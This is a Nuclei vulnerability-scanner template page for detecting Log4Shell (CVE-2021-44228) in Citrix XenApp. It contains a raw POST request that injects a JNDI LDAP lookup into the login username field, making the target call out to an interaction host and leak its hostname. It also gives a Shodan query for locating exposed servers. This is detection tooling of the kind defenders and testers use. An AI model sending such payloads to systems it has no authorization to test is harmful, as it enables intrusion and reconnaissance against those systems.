Citrix XenApp - Remote Code Execution (Apache Log4j)

ID: citrix-xenapp-log4j-rce

Severity: critical

Author: shaikhyaser

Tags: cve,cve2021,rce,jndi,log4j,citrix,oast,kev

Description

Citrix XenApp is susceptible to Log4j JNDI remote code execution. Citrix Virtual Apps is an application virtualization software produced by Citrix Systems that allows Windows applications to be accessed via individual devices from a shared server or cloud system.

YAML Source

id: citrix-xenapp-log4j-rce

info:
  name: Citrix XenApp - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Citrix XenApp is susceptible to Log4j JNDI remote code execution. Citrix Virtual Apps is an application virtualization software produced by Citrix Systems that allows Windows applications to be accessed via individual devices from a shared server or cloud system.
  reference:
    - https://support.citrix.com/article/CTX335705
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:citrix:xenapp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: html:"/citrix/xenapp"
    product: xenapp
    vendor: citrix
  tags: cve,cve2021,rce,jndi,log4j,citrix,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /Citrix/XenApp/auth/login.aspx HTTP/1.1
        Host: {{Hostname}}
        Cookie: WIClientInfo="clientConnSecure#false";
        Origin: {{RootURL}}
        Referer: {{RootURL}}/Citrix/XenApp/auth/login.aspx?CTX_MessageType=WARNING&CTX_MessageKey=NoUsableClientDetected
        Content-Type: application/x-www-form-urlencoded

        LoginType=Explicit&user=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request
# digest: 490a00463044022024ce9b4d0b77f7905806cb82b6033fd620d0fd7d1e31d3038b84fa11013b26da0220226353492f1db00aaad29244a9cad0750b1777a36b9aeffd906a9f4ec7f491c5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/citrix-xenapp-log4j-rce.yaml"

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